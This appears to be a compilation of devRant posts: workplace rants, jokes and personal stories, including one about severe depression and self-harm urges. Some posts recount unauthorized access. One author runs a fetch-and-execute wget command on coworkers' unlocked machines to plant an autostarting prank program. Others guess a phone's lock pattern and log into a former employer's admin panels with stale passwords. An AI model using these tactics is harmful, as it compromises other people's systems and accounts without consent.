My coworker left his Windows 10 system unlocked today.

Me:

1. Print screen on desktop
2. Saves the image
3. Sets image as wallpaper
4. Hides desktop icons
5. Changes taskbar alignment to the right and enables auto hide.
6. 🤣🤣🤣

Agency: " Sir, we found 3 candidates as per your requirements, now how do you want their placements sir?"

M.D: "Put about 100 bricks in a closed room. Then send the candidates into the room & close the door, leave them alone & come back after a few hours and analyse the situation:-

1) If they are counting the bricks, Put them in Accounts deptt.

2) If they are re-counting the bricks, Put them in Auditing.

3) If they have messed up the whole room with the bricks, Put them in Engineering.

4) If they are arranging the bricks in some strange order, Put them in Planning.

5) If they are throwing the bricks at each other, Put them in Operations.

6) If they are sleeping, Put them in Security.

7) If they have broken the bricks into pieces, Put them in Information Technology.

8) If they are sitting idle, Put them in Human Resources.

9) If they say they have tried different combinations yet not a single brick has been moved, Put them in Sales.

10) If they have already left for the day, Put them in Marketing.

11) If they are staring out of the window, Put them in Strategic Planning.

And.......

12) If they are talking to each other and not a single brick has been touched, Congratulate them and put them in Top Management.

😂🤣😃😁😅😜

I'm really down.
I spent 10 years building on an application worth 800K$ revenue per year.

I tried to build a technical team. All left, because of fights with stupid account managers, CEO, business managers.

I was left alone for almost one year alone, working like 60-70 hours per week to keep the things going and adapt to more customers.

And looking for potential partners to outsource things.

Now out of the blue, 3 weeks before my summer holiday, investors introduce me to a "partner" that will rent to us a "developer" for 2 months. from tomorrow.
What the fuck I'm gonna do with him in 2 weeks I don't know.
Actually I understand that this "partner" will take over the whole project.

They used the word "to help me", but actually during the meeting they said to fix things that are not working, and to develop new features because the project is blocked.

Of course there are bugs, I have no developers with me and hundred of features and integrations to maintain. And of course everything is blocked because I have to think hard about priorities.

I feel humiliated in the worst way.
I don't know what will be my future position.
I wasted time contacting potential partners and the answer was always "there are no money".

The business strategist, entered one year ago and said "no more IT investment".

Basically as cofounder and cto (of myself), they will not fire me, if I stay silent. If I accept to be a puppet. And eat, eat eat a lot of shit. I'll grow fat from the shit I'll eat.
I feel I've lost all my hard work, and I'm alone.

My sons homework:
Matt received 5 apples. He had eaten 3.
Question: how many apples left for him?
My son said 2.
NO! We don't know how many apples he has before. Remember to asaign 0 to variable!

so i just got fired 🔥 🔥 🔥 because i wanted a 200 fucking dollars raise after 1 year of work and sacrifices and feeling like shit.
200$ because i live in the 3rd fucking world, working with a stupid motherfucking boss (you know the fat old tone deaf cunt), he's american, and he brings projects from the US from clients paying thousands of dollars, and he pays us 300$, and by the fucking way he used to pay us 100$ (we are 3 developers, a dick who does nothing but report our behavior, and a shit who does shit. we are a development company and we are the only developers and we got fired because he thought we didn't deserve the raise and that he sees no reason in giving us more money because we're already wasting the company's money and time).
So now the only people left there are the dick, the shit and the fatass boss who's in the states rn.
the funny thing is after we left by an hour or so we got calls from many other companies that we refused to work with because of our loyal-fucking-ty.
the motherfucker thinks we're conspiring against him, that we don't trust him, well of fucking course we don't, he lies about having a company in the US, well it's there but it's suspended (we looked it up), he says he's a microsoft, intel, adobe, dell, lenovo partner, and he's not.
well fuck i'm kind of happy that i left, i'm sitting with my friends in a cafe right now thinking about finishing our personal projects.
forgot something: the projects we were working on are unfinished, and there's not a single fucker to finish them, so he's ball deep in shit. hope this rant is relatable

First Helpdesk call of the day:

"My PC has been stuck on the same thing for an hour now. Its completely crashed."
"Does pressing ctrl alt delete do anything?"
"Where's that button?"
"Its 3 buttons - ctrl in the bottom left, alt beside the spacebar and delete over near the arrow keys. Press them all at the same time. Does it do anything?"
"No"
"Okay then, you need to manually power off the laptop then."
"How do i do that?"
"Hold down the power button"
"Where's that?"
"....on your laptop?! It's how you turn it on in the mornings?"
*60 seconds go by* "oh i see it. Ok i pressed it! Its Flashing blue now."
"Oh, no, just hold it down until everything goes black."
"The power button?"
"Yes."
"But that would turn off the entire PC?"
"Yes."
"Why do i have to do that?"

God help me if this is how my day is going to be 😢

This is how my day has gone so far:
1. In car, see advert about hackathon
2. Look it up, see tickets go on sale in 30mins
3. Read more about hackathon, apparently tickets go within minutes
4. Get tickets, print
5. Printer out of ink
6. Accidentally deleted ticket, can't reprint
7. No more tickets left so can't get another
8. Spend hours with data recovery tools
9. Remember recycle bin. Reprint ticket
10. Cry
11. Rant on devRant

So I was looking at the linux environment at my new job. Found 2 VM's in the local network, only one of them is documented. Noone knows about the other one or what it does, let alone usernames and passwords.

Spent over an hour trying to break in, only to find out that a couple of bored devs, that have long since left the company, set up a game server on there and noone noticed it for the past 3 years..

Gahaa!!! Finally back home, after 7 fucking hours of sitting in busses and trains!

BUT I GOT MY NEXUS 6P!! Yoo-hoo!!! :D

And I've got a nice story about it.

So when I bought it, the guy selling it to me was a nontechnical type (I think?) whose wife was the previous owner. So I thought to myself, cool a nontechnical user used it.. probably no hardware mods or anything to worry about. Apparently they even factory reset it for me :)

Now, when I left to go back home, I of course immediately booted up the thing and did the whole doodad of logging into it, setting up the device etc.

Then it struck me. When I booted up the device and wanted to log in, there was a lock from Google that required me to first authenticate as either a previous account of the device, or their unlock pattern. So I figured, eh fuck it, I'll just flash some AOSP without GApps or send the owner an email asking what the previous pattern is.

But I still had to wait 30 minutes at the bus stop so I thought to myself.. previous owner was a nontechnical woman.. maybe I could crack it. No way to know if I don't try. So I started putting in random unlock patterns.

3 attempts later - I shit you not! - pattern accepted.
Do you want to add this account?

Oh boy Google, of course I do! Thanks for letting me in pal!

3 fucking attempts. That's all it took to crack the unlock pattern of an unknown person. 😎

Act I

Me (Lead Developer), Boss (Head of IT), CEO

> enter stage left CEO

CEO > "Alright Boss, give it to me straight. Are we going to be able to release app x by this date?"

Boss > "Yup we'll have a beta release on that date"

> exit stage right CEO

Me > types long email to Boss outlining exactly why we won't be able to release app x anywhere near that date, beta or otherwise, because:
1. We have a development team of 2
2. I've never developed an iOS app before
3. Developer 2 is still trying to understand git, because
3a. Developer 2 isn't even a developer (but he's doing iOS front-end so w/e)
4. We don't have the required database systems in place
5. Or CRM
6. Or CPQ
7. We'll need to conduct a security audit

Boss > "yeah, but CEO is gonna need to hear that date a few more times before he can fully understand"

Me > *internally screaming BUT YOU HAVEN'T TOLD HIM THAT AT ALL*
"ok cool just glad we're on the same page on that one"

!rant
Handed over my keys and computer to my boss a moment ago and left the office for the last time. Spent 3 years there, and most of the people there came with me from my previous job I spent another 3 years at.
Feels heavy to leave a bunch of great people.

Two weeks until I start my job as a developer at a game company though.
Took me 6.5 years of work to finally get there.
Super stoked!

And I won't lie, some stickers on my new work laptop would not be a bad thing.

The network starts slowing down, transactions start to fail across the 450+ stores, the website starts to spit 500 errors what is going on?

Queue a frantic running around the office working out what was going wrong... Calls from all 3 data centres, nothing is going in or out of the network.

Notice the network admin come back to his desk, his eyebrows raise and he looks left and right before unplugging his laptop ethernet from one of the server access points

The network rushes back to life, everything is fine.

That particular network mapping tool is now banned for use on production.

In the bottom left corner of the picture there is a devRant guy with a 3 monitor setup...

However 2 monitors are the biggest multi monitor setup you can select...

*puts tinfoil hat on*

Have I just leaked the next big devRant update?

Feeling blessed, left the army after 5 years, 3 deployments, to attend 3 years of computer science school and get a stable lifestyle.
I've got a supporting girlfriend, mentally never felt better, and for the next 3 years, this is my seat and view in class !
Happy coding all, and have a nice day✌️

<rant data-type="corny">

My Gf of 3 years left me for some douche. Thus said, she "removed" her feelings before kissing him. WTF! I didn't know feeling came like dependencies...

</rant>

Okay so about a year ago these FUKKING IDIOTS decides, against my recommendation, to do this quick-ugly-hack and ninja it into production.
I tell them its a FUCKING BAD idea that will blow up in a year or so...
But no, just go go go!!!!!!!

Now a year later, shit blew up badly. A total FUCKING derail. These new idiots asks me to "fix the problem", the same fucking problem I predicted and warned them about a year ago. So now i have to clean up their ducking mess because "Nobody else knows how to fix it".
What the FUCKING HELL do we pay them fuckkkers to do?!!

New idiots you ask? Yep, because 3 out of the 4 original fucktards already left the place in order to go and make some other new collegues lives fucking miserable.

FUCK YOU FUCKING MOOTHERFUUUKKKEEERRRRRSSSSSS!!!!!!!!!!!!!!

My first job was at a web agency. Non tech background, trying to transition into tech through frontend. Month 1: graphic designer, month 2: CSS guy, month 3: UI guy, month 4: in the frontend team doing react, month 7: leading the team, also doing some rails backend, month 9: full stack, month 11: leading web team.

How? Everyone else in the dev team left at month 7 lol. Literally thrown into the middle of the rainforest, fighting bugs by myself. But became so good at debugging and learning on the spot. Left at month 12 for a better job.

The 4 stages of collaboration:

- Stage1:
Hey dude, I setup some online docs and left some instructions / discussion points in slack, but you haven't been logged in. Can you login and have a look when you get a chance?

- Stage 2:
Oh Hey, did you ever get a chance to have a look at those docs / discussion points?

- Stage 3:
Hey, look this is due by close of business tomorrow, can you take spend an hour on it before you leave?

- Stage 4:
*loads shotgun* HEY YOU! ... sit here, login to that ..... STOP CRYING AND HURRY UP ..... see that right there? thats missing your input, you have 15 minutes left ... GO!

I'm fast approaching stage 4 and loading my efficiency shotgun as we speak.

Went to my first Hackathon this weekend.
There was 6 of us, 3 devs (including me) and 3 business guys for the presentation and info gathering

The 3 business guys wouldn't show us any of their work, but we're demanding to see all of ours.
Bothering us every 5 minutes to see 2her4 23 are and what's left

Then 1 of 3 business guys accused one of my devs of deleting half of their PowerPoint presentation. That turned out to be bullshit. Looked in the edit history and the business guy was the one who deleted them.
We brought it up to them all, and they got all defensive.

Then, before they revoked our access to the PowerPoint they removed us from the presentation entirely.

Their final presentation contained an app(APK only) we spent an all nighter on, and pictures of a few of the wireframes we did.

I immediately went to an event organizer, filled a complaint. Showed the wireframe project, the source code of the APK they used, and told her they just dropped us and stole our work. She went to them, they couldn't prove they did the work

They are now banned from future hackathons at this place.

I do not appreciate being fucked with, and more so don't like it when you try to fuck my friends. Honestly want to send an email to the business guys workplace and inform them their two top employees are thief's.

The positive thing I took from this is me and my dev team built a stronger relationship and found out we work amazing together.

/Rant about trash humans

The office toilet chronicles - episode 3

Someone left shit on the toilet seat. That's right. Shit. On the toilet seat.

This is the second time this happens. I'm working with fucking monkeys here. One of these days they'll start throwing feces at each other. I just hope I'll be long gone when it happens.

I had the dream of working as web designer in Berlin.
You know: techno partys, hedonistic lifestyle and cheap living.
I applied and flew over and got some Interviews.

Arrived at the agency situated in a beautiful broad avenue in a villa at the Olympia Stadion. I was greeted by 2 loud small dogs and nobody else was there. So i waited an half an hour.. and another one...
I notice their company code of conduct nicely framed on the wall. You know what is written on the first place?

"We value peoples time therefore we're punctual."
"We are cosequent"

So after two hours waiting they came. They were pretty stressed out and neded another 45 minutes to get ready to interview me. So they sat at the table telling me excuses. And i pointed at the frame and they suddenly got very bleak in their faces. I stood up and left after 3 hours of waiting. 😆

Sadly no Berlin for me.

My setup at work as a juniour dev. Got a month ago a 3rd monitor (the left), because I'm working on some backend services and had to test them with a touchscreen. Now only the frontend dev and I have 3 monitors in the whole company 😁

I had this prepared in advance and executed on April 1st few years ago.

1. I wrote an app in Python that would autostart self & listen to UDP multicast and spam screen with message boxes once a special "magic" UDP broadcast kicks in. The app had minimum dependencies and used native libs for GUI to achieve this.
2. I posted this app source code on sprunge.us and remembered the short URL.
3. Once one of my coworkers left their PC unlocked, I opened their terminal and executed '$(wget -c sprunge.us/ASDF)' and closed the terminal as if nothing happened. I infected almost all machines this way.
4. On the April 1st I get to my office, open the terminal, send a magic UDP broadcast packet anf enjoy the chaos.

Man, that was hilarious.

left a company over 3 years ago because they wanted me to dumb my code down so that the other devs could understand it. they wouldn't allow me to use classes in my code lol. anyway, 3+ years later figured I would try to log in to some of the admin panels... passwords still the same. MySQL dbs... passwords the same... cpanel... passwords the same. smh. even if I still worked there the passwords should be changed every so often. top notch security right there. funniest part is they don't even do backups or use VCS for the code. sad sad company. glad I'm no longer there. my personal projects have more security, redundancy and fail over lol

Today, for fun, I wrote prime number generation upto 1000 using pure single MySQL query.

No already created tables, no procedures, no variables. Just pure SQL using derived tables.

So does this mean that pure SQL statements do not have the halting problem?

Putting an EXPLAIN over the query I could see how MySQL guessed that the total number of calculations would be 1000*1000 even before executing the query in itself and this is amazing ♥️

I have attached a screenshot of the query and if you are curious, I have also left below the plain text.

PS this was a SQL problem in Hackerrank.

MySQL query:

select group_concat(primeNumber SEPARATOR '&') from
(select numberTable.number as primeNumber from

(select cast((concat(tens, units, hundreds)+1) as UNSIGNED) as number from

(select 0 as units union select 1 union select 2 union select 3 union select 4 union select 5 union select 6 union select 7 union select 8 union select 9) unitsTable,
(select 0 as tens union select 1 union select 2 union select 3 union select 4 union select 5 union select 6 union select 7 union select 8 union select 9) tensTable,
(select 0 as hundreds union select 1 union select 2 union select 3 union select 4 union select 5 union select 6 union select 7 union select 8 union select 9) hundredsTable order by number) numberTable

inner join

(select cast((concat(tens, units, hundreds)+1) as UNSIGNED) as divisor from

(select 0 as units union select 1 union select 2 union select 3 union select 4 union select 5 union select 6 union select 7 union select 8 union select 9) unitsTable,
(select 0 as tens union select 1 union select 2 union select 3 union select 4 union select 5 union select 6 union select 7 union select 8 union select 9) tensTable,
(select 0 as hundreds union select 1 union select 2 union select 3 union select 4 union select 5 union select 6 union select 7 union select 8 union select 9) hundredsTable order by divisor) divisorTable

on (divisorTable.divisor<=numberTable.number and divisorTable.divisor!=1)
where numberTable.number%divisorTable.divisor=0
group by numberTable.number having count(*)<=1 order by numberTable.number) resultTable;

I’ve battled depressed I failed to realized I had for many years. I didn’t love myself, I forgot what it felt like to love myself, and then one day my life turned around out of the blue. I believe my turning point was when I realized that I wasn’t alone and that people did care about me. I just wasn’t motivated especially after almost losing my cousin to suicide 3-4 months back. It changed my DNA, my personality, everything about me changed until I told myself that I had enough.

Today marks the 4th month where I last had a cup of coffee, soda, or junk food in general because in all honesty it was just making my depression worse. Today also marks the 4th month I’ve been going to the gym without fail and I’ve now noticed how far I’ve come. I love myself more than ever now and I am VERY goal oriented as well. I have one more year left until I get my bachelors degree in Software Development and soon after I’ll go in for my Masters and who knows what I’ll do after that.

It’s all uphill from here and by sticking to my new routines I am feeling a lot better as the days and months pass.

Attached is my progress thus far, left is from when I felt at my lowest and right is the progress I’ve made so far with improving myself and where I am at now.

I love myself, I love those that love me, and I LOVE feeing AMAZING like I do now when I wake up every morning waiting to see what the day has in store for me 😄❤️

I had a manager who was a complete incompetent idiot (other than a fucking backstabber). He left the company ~3 weeks ago, yet I believe it would take 5 years to get rid of his legacy.

Today I discovered that one of his "genius ideas" led to the loss of months of data. This is already bad, but it's even more upsetting given that the records that have been lost are exactly the ones I needed to prove the validity of my project.

That fucking man keeps fucking with me even when he's not here, YOU DAMN ASSHOLE!!

It was the time of the 90s when one created HTML with frames. During an HTML exam we had 1 hour to create a website with 3 frames. Top, left, main. Some aligned random images and some formatted text. Kind of boring, I know. So I finished early and handed in my diskette with my homepage. To make it easy for him I added my name and class to the title.
When we got our grades I was in for a surprise since I had expected a good grade. I asked him why I didn't get a good grade. He kind of shouted at me that my task was perfectly done but I shouldn't have written my name in the title but name and address of this school. It is not a really dramatic thing but I always hated when teachers quietly assumed stuff and didn't tell us. And then handed out bad graded for totally unrelated stuff.

There's this one Windows PC, hiding in the darkest corner of the office, just running a network service all day. Suddenly the service is not available any longer... Opening explorer.exe to see what's up with the machine, while wiping a thick layer of dust from the screen: Zero bytes free memory on C:\ ...

Assuming that some log files have caused all the occupied space. NOPE! Instead, Windows update just installed a shitton of updates. They all failed, of course... After not being able to simply remove them, deciding to uninstall some programs and kill Windows update. Finally 800MB of free space!

Suddenly stumbling over a Visual Studio 2008 installation. Who the hell installed this on the PC? Absolute bullshit. Nevermind. Uninstall this shite.

The uninstaller takes ages to do anything, then aborts the uninstallation showing the popup "there is not enough space to uninstall". Looking into the memory indicator: 0 bytes left. DAAAAFUUUQ Microsoft??? WTFFFFFFF?!? 800MB to UNINSTALL Visual Studio? Are you for real???

Ended up force-deleting the directory: 3 Gigs free now...

spent 7-8 months looking for work (did a few freelance jobs in the mean time), spent what's worth of days on LinkedIn.. no reply at all, talked to recruiters got declined over the phone after 2-3 mins of call time..

Applied to a company branch in my home country nailed the 4+1(code challenge) interviews, will be leaving this Saturday morning (in 2days) now the bloody bastards start to reply and send offers for positions they have, when I clearly have to decline as I don't want to be left empty handed..

fuck you Sam, Jake and the other pricks that decided it is OK to reply after 3-4 months.. go fuck yourselves with a horse's dick you piece of crap.. After you're done, go shoot yourselves with the gun for ugly dumb animals!!! Hate you!

Kind regards, dev-nope!

Agile in practice.

I finished my story with 3 days left in our 2 week sprint.

Me: What story should I pull in next?
PM: Story <number> to add <new feature>
Me: ok, sounds good
PM: Will you finish it before our sprint ends?
Me: No, probably will take me 5-7 days.
PM: But it can't spill over, it will make our metrics look bad.
Me: I can't finish it in 3 days.
PM: ....
Me: Can't you just explain the spillover as us working ahead?
PM: It will look bad on our <automated-report>
Me: ....
Me: So don't want me to get started on <new feature>?
PM: ....
Me: <internally sighing> What do you want me to do?
PM: Maybe you can pair program with <Overpaid-Idiot-Programmer> to help finish their story
Me: ....
Me: feelsbadman.jpg

Me: So why did you drop the db?
Intern: I couldn't rename the Model I've just created.
Me: Your CV says you're a prolific Rails Dev.
Me: How many days you have left working here?
Intern: 3Months
Me: Just take 3 months off work.

So I ve been clinically depressed for about 10 years now. Been really great at hiding it. My illness and loneliness was so severe that i made up imaginary friends and that got so severe i couldn't tell what s real and what s not. Then about 5 years ago, i met a girl. As the cliche goes, everything felt better. Sunshine and stuff. I opened up to her. Shared stuff. I started becoming normal. The pain became bearable and manageable. Turned to entrepreneurship. Had goals and stuff. Had 7 failed startups but kept on going. Raised investment for an 8th. It went better than anyother. Was going to become the next big thing bla bla. She became the reason i turned from being a loner weirdo to someone awesome. Anyway, as nothing tends to last, my best friend who had been through thick and thin in my work, quit last year in October. He messed up some work from big client nd we had a fight. He left. In the meantime i scored a big multinational company. I was gonna propose to my girlfriend in March this year. But instead she decided to leave for someone better who left her in 3 weeks lol. Anyways, we broke up. During that time, my second friend decided to fuck up my work with the big company so hard that they were about to blacklist my company. And then he left too. I had a small team. 4 5 people doing their best. By that time, i was the only one left. On 28th feb i had my breakup, on 1st march i was sitting 700 km away from home in an office trying to talk the company out of blacklisting us. It took me around 20 days to make that happen. All the while dealing with the obvious, my depression getting stronger than ever. My imaginations taking shape and fucking up my reality. The voices in my head getting stronget and stronger. 4 months now since she left. I dont think i miss her anymore. She tried coming back once but i didn't let her. In the 4 months, i m at my worst. I am getting government contracts now. But i have no desire to do anything. The pain is unbearable. So much that on its good days it sucks the life right out of me. So much that when it gets severe the urge to harm myself in any way goes of the charts. My best friend and i, we became friends again after my ex left. He s been helping me as much as he can. I have all the good oppurtunities and chances that any entrepreneur who has been busting his ass for 5 years straight would kill to have. But i cant do anything. I m the only one left on my team. I have to handle the business, dev, marketing etc etc ends on my own. I tried hiring and scaling up but i messed that up because of obvious reasons. And now my company has 2 months of runway left. And i know if i bust my ass i can make it to 8 months more and even raise a round a. But its really hard to do when either you re sleeping 20 hrs a day or you re sleeping 3 4 hrs because you re afraid of the nightmares. Or when even you ve had a good day, the pain becomes so much that you lay on the floor having a breakdown. Yeah, i m trying professional help. I m hoping it helps me. Because right now, i dont care about being happy. I just want my sanity. Something i m clinging to with every fiber of my being. Something that s burning out like a candle burning from both ends. I cant give up my work. I dont want to. That s all i have. That s all what i love doing and now i cant even do that. I just want this to end somehow. Either i get better and the pain and the void and silence and everything else goes away, or i do. I dont know what will happen first. And i dont care. I just want to be normal. But i guess that s too much to ask.

So I had finished my work early in class and asked the teacher if I could do something on my laptop for the remaining half an hour.

I take out my laptop and immediately people start asking if I'm hacking.

3 people come and sit next to me and ask what every line of code means that I write. (I think they got underwhelmed real fast because I was debugging).

The teacher then comes into the room and asks what I was doing and I said just working on an app project. She explains to me that it is illegal for me to be hacking and I could get into serious trouble if I am caught. I facepalm and she says your disturbing everyone else get off of your laptop and read a book.

I left that class thinking is she even qualified, what is she thinking. Are you teachers the same.

A PR I raised was left un-reviewed for 3 months. And finally when shit hit the fan, I was asked why I never worked on the fix.

I pointed to the PR I raised 3 months ago and I got absolutely flamed for it because obviously, it was my fault that I did my part, asked for a review and moved on to other tasks.

According to my manager, I should have kept pushing for the PR to be reviewed.

I wanted to set the office on fire that day.

Oh yes, I very much like you, Mr. 1337-DevPro-Ultra-Haxxor. Thank you for using a boilerplate from github, that is bloated like some random female pr0nstar after an orgy. Oh and it is also very funky of you, that the setup scripts and tasks only work on Apple OSX, because using a simple gulpfile with 3 npm dependencies and 5 lines of code would not be trendy enough.

Some JS "devs" should be punished by drowning in their own feces aka a mix of bower, yarn, npm, brew and the crusty stuff that is left behind after running it.

Refactoring code of somebody who left and:

- Plagued the code with TYPOS (milions of them but ok I can live with those... to a certain point)
- Used global variables by default.... of course even where they're not needed
- Used comments only in parts of code where... well they're not needed, important ones are of course left out
- Did not indent code. 3..2..1... Did not FUCKING indent code properly and when he did... did WRONG!
- Instead of indentation he used commented line with multiple ==== signes.... so far top is 60 consecutive lines with olny ==== again no apparent pattern here
- Did not follow a fucking standard in variable naming... no camle casing... there are varaibles assigned multiple times to "temp" variables without no reason just for the sake of wasting resources on the system I guess

This is just the beginning of the review but I already want to change job, die, scream, cry... not in any specific order.

I had a short gig for a startup where I was meant to migrate the entire backend to serverless. It was my first time learning what serverless was and I had just been working on the app for around 2-3 weeks.

Boss rolls in with his leased Tesla and sort of hints at me being finished with a certain area by the next day, giving me a wink as if he's just trying to motivate me to keep on struggling.

Turns out he decided that he wanted a fully fledged demo and went off on me because I hadn't finished migrating the UI for that certain section (just the backend). I decided that there were better things to work on while I was at it migrating the backend. Had I known that he expected some form of fancy demo, maybe I would have done things differently.

He then proceeded by letting me know that he could have finished my work in half the time it took me and decided to remind me that I had a probationary employment. I left the company two weeks later and the app never got released.

No, actually, there was this other hackathon I attended. The hackathon itself went pretty damn good. But as for the "experience", it was full of regrets.
You see, I was working on it for ~36 hours straight with the team. It was held in a warehouse sorta building. Weird place. But I lived nearby. So I finally thought (around 2AM) fuck it I'm going home for a quick nap, and went home. When I returned around 3-4 hours later, no one was there (even other teams). They all started to come back at around 7am all drunk, sweaty, and happy. Then I found out what happened. Apparently, there was a bondage themed party going on downstairs. And around the time I left, the girls and guys came up, saw a bunch of devs, and invited them all to the party. AND I MISSED IT!!! 😭

This is something that happened 2 years ago.

1st year at uni, comp sci.

Already got project to make some app for the univ that runs in android, along with the server

I thought, omg, this is awesome! First year and already got something to offer for the university 😅
(it's a new university, at the time I was the 2nd batch)

Team of 12, we know our stuffs, from the programming POV, at least, but we know nothing about dealing with client.

We got a decent pay, we got our computers upgraded for free, and we even got phones of different screen sizes to test out our apps on.

No user requirement, just 2-3 meetings. We were very naive back then.

2 weeks into development, Project manager issues requirement changes

we have a meeting again, discussing the important detail regarding the business model. Apparently even the univ side hadn't figure it out.

1 month in the development, the project manager left to middle east to pursue doctoral degree

we were left with "just do what you want, as long as it works"

Our projects are due to be done in 3 months. We had issues with the payment, we don't get paid until after everything's done. Yet the worse thing is, we complied.

Month 3, turns out we need to present our app to some other guy in the management who apparently owns all the money. He's pleased, but yet, issued some more changes. We didn't even know that we needed to make dashboard at that time.

The project was extended by one month. We did all the things required, but only got the payment for 3 months.

Couldn't really ask for the payment of the fourth month since apparently now the univ is having some 'financial issues'.

And above all: Our program weren't even tested, let alone being used, since they haven't even 'upgraded' the university such that people would need to use our program as previously planned.

Well, there's nothing to be done right now, but at least I've learned some REALLY valuable lesson:

1. User Requirement is a MUST! Have them sign it afterwards, and never do any work until then. This way, change of requirements could be rejected, or at least postponed

2. Code convention is a MUST! We have our code, in the end, written in English and Indonesian, which causes confusion. Furthermore, some settle to underscore when naming things, while other chooses camel case.

3. Don't give everyone write access to repository. Have them pull their own, and make PR later on. At least this way, they are forced to fix their changes when it doesn't meet the code convention.

4. Yell at EVERYONE who use cryptic git commit message. Some of my team uses JUST EMOTICONS for the commit message. At this point, even "fixes stuffs" sound better.

Well, that's for my rant. Thanks for reading through it. I wish some of you could actually benefit from it, especially if you're about to take on your first project.

Back in my sysadmin days we had an IT zoo to look after. And I mean it... Linux side was allright, but unix.... Most unices were no longer supported. Some of their vendors' companies were already long gone.

There was a distant corner in our estate known to like 2 people only, both have left the company long ago. And one server in that corner went down. It took 2 days to find any info about the device. And connecting to it looked like:

1 ssh to a jumpbox #1
2 ssh to a jumpbox #2
3 ssh to a dmz jumpbox
4 ssh to an aix workload
5 fire up a vnc server
6 open up a vnc client on my workstation, connect to than vnc server [forgot to mention, all ssh connections had to forward a vnc port to my pc]
7 in vnc viewer, open up a terminal
8 ssh to hp-uxes' jumpbox
9 ssh to the problematic hp-ux

.....

Being an introvert I don't like to show off but it's been around 7 months I am doing internship (3 so far) and didn't tell anyone about this.
In class every faculty thinks I am stupid because I spent more time in work rather than on my college materials. Due to which other guys get recognised who are good with college studies and I am always left behind.

I really hate this feeling when you work so hard and there is no one to tell about my achievements.

Stare at the screen blankly, regretting your life choice to become a dev, cry, start researching mcdonalds job ads. Then end up spending 3 hours on devRant falling in love with programming again and then realising you have just wasted 3+ hours on a left out curly bracket...

Maybe this is my retribution for participating in yesterday's rant about public transportation.

Saturday morning, I had an 🥚and 🍌. I was happy.
I went out to meet with my GF.
I got a window seat on bus.
The seat on my left was empty for few stops.
A mudafucka big kid came and sit beside me.
I was like, cool, heyyo kid. Not some greasy old dudes or ready to slap chicks.
Oh boy can I be wronger?
The mudafucka big kid started with right butt scratch using right hand.
Then followed up by left butt scratch with left hand.
And then did a wiggly body scratching using his seat like an alien snake.
I got itchy looking at him.
Also I said big two times because he spread his big thighs so wide it took 1/3 of my seat.
And now playing loud ass games on his phone.

Not a good sign for my Saturday.

* Got an epileptic seizure
* fell down
* broke my left humerus top to 3 pieces
* bone pieces will be held together with titanium plates/screws tomorrow with surgery
* need some good wishes although I am hardcore materialist
* thanks in advance.

I suddenly realized all the technical debt shit I told my boss would happen years ago given the way things were done/heading then... Just occurred pretty much all at once last week in the form of critical production issues...

The teams like:
-we need real time server process monitoring
-structured logging for apps
-containerization so one app didn't affect others

Me thinking: yes.... I told you so like 3/4 years ago when I first joined the team and kept repeating so much I got tired of saying at every annual review...

This is exactly what happens when you let technical debt grow and have no free time for developers to look into and fix then while they were small and not critical production processes... Or properly document and peer review them... (Got a shit pile of projects that no one knows how to use or even exists because the devs left the team) and they'll have a lot more when I finally leave... Hopefully this year.... If I can find another role and not need another medical procedure... (Doubtful)

!dev

So, the house next door to me is being renovated into half a dozen apartments. This process has been ongoing for like 4 years of here-and-there houseflipper failboating, and if I had to guess, 3 owners worth of this fuckery.

The latest shitheel trying to polish this turd into something saleable has had it sit partially covered with plastic for months, mostly getting rained on. One crew came by last week and put half the thermal shielding up before something happened and they left. Then half of it fell off the house, into my yard. Nice person that I am I gathered it all up and left it in the various excavated pools of water on their property in which I can only imagine they are busily raising farm to table mosquitoes for the local market.

FF to today and I see a crew pull up to the house and start nailing plywood to the side of the house with no thermal pad underneath it. Which is a legit code violation and a mold hazard, but yolo amirite? I chat up some of the guys and find out that they were scheduled to install the plywood today (apparently he'd run out of money for the nice modular siding they used on the back half) and the owner didn't give a shit if the rest of the work was done. Meanwhile shit is still falling off the house onto my house, but also wgaf. 🚬

Tl;Dr the people trying to flip the house next to mine were obviously IT managers in a previous life.

23:30 :Let me fix something really quick before going to bed.
1 hour later: well actually I should also get this to work...
3 am: 2 hours to sleep left 😑

1 friend who is currently studying in Canada.
I am not aware if he uses devrant or not.

Met him in a national robotic competition 3 years back.
Somehow, we exchanged numbers and nowadays we talk often whenever we get time (considering our busy life and timezone difference)

He is studying robotics and frequently sends me his designs and output with 3D printer.

About me, I left robotics(to be specific embedded) and got a job and working on backend these days.

Though, it's great talking to him and getting to know how the education goes there and his new works.

He also has a beautiful love story(not yet completed) which is another fun part to listen from him.

Being asked (or more accurately made!) to travel Mon-Fri (i.e. staying away from home) for at least 2 months to a customer's site to work on a completely insane project that had no design, formal requirements, preparation or support. It was just a "friendly side project" 2 friendly managers concocted.

After some research, the project wasn't actually technically possible, but the customer wanted it so I had to try to find a solution.

The complication for me was that my wife was almost 8 months pregnant with our first kid and I made it clear I really wanted to be at home. Was left to feel I had little choice but to go. Project runs over but damnit I'm taking my 3 weeks parental leave entitlement.

Day before I'm due to go back to work, I get an email saying "You'll be travelling tomorrow for the next few weeks". At that point, I replied with the most angry work email I've ever sent and threatened that if that was the case I wouldn't be back. Plans were changed.

I ended up leaving within a couple of months anyway.

Got laid off last week with the rest of the dev team, except one full stack Laravel dev. Investors money drying up, and the clowns can't figure out how to sell what we have.

I was all of devops and cloud infra. Had a nice k8s cluster, all terraform and gitops. The only dev left is being asked to migrate all of it to Laravel forge. 7 ML microservices, monolith web app, hashicorp vault, perfect, mlflow, kubecost, rancher, some other random services.

The genius asked the dev to move everything to a single aws account and deploy publicly with Laravel forge... While adding more features. The VP of engineering just finished his 3 year plan for the 5 months of runway they have left.

I already have another job offer for 50k more a year. I'm out of here!

Let's start the story with just a bit of a background: I'm coming from a rather poor family so I always saw my parents working 24/7 to, you know, have a decent future. When I first got into the IT industry, I went full workaholic and worked overtime every day, taking other responsibilities etc. Got promoted fast, jumped through 3 companies, and all is good.

Present day company:
- I'm working 12 hour days
- Managing smaller teams and interns
- Starting new projects incognito and giving them to the execs (for the good of the company ofc)
- Doing lots of stuff outside my responsibilities

COVID hits, I get very sick 2 month ago... I get laid off??? I'm literally 5 employees in one, and, "the fact that I got sick means that I left home and wasn't working"???

This also comes at a time when every family member was also laid off so I had the only stable job.

Not even sure if I even have the will to work hard for someone else anymore, this is fucked up.

I was at a company for almost 5 years (my first job too). Got fired a few months ago by my mentor/the lead dev who was there for about 3 - 3 1/2 years of my time there. He left for better opportunities, he knew the company was pretty shitty to work for. He comes back (why???) and fires me about 1-2 months after his return.
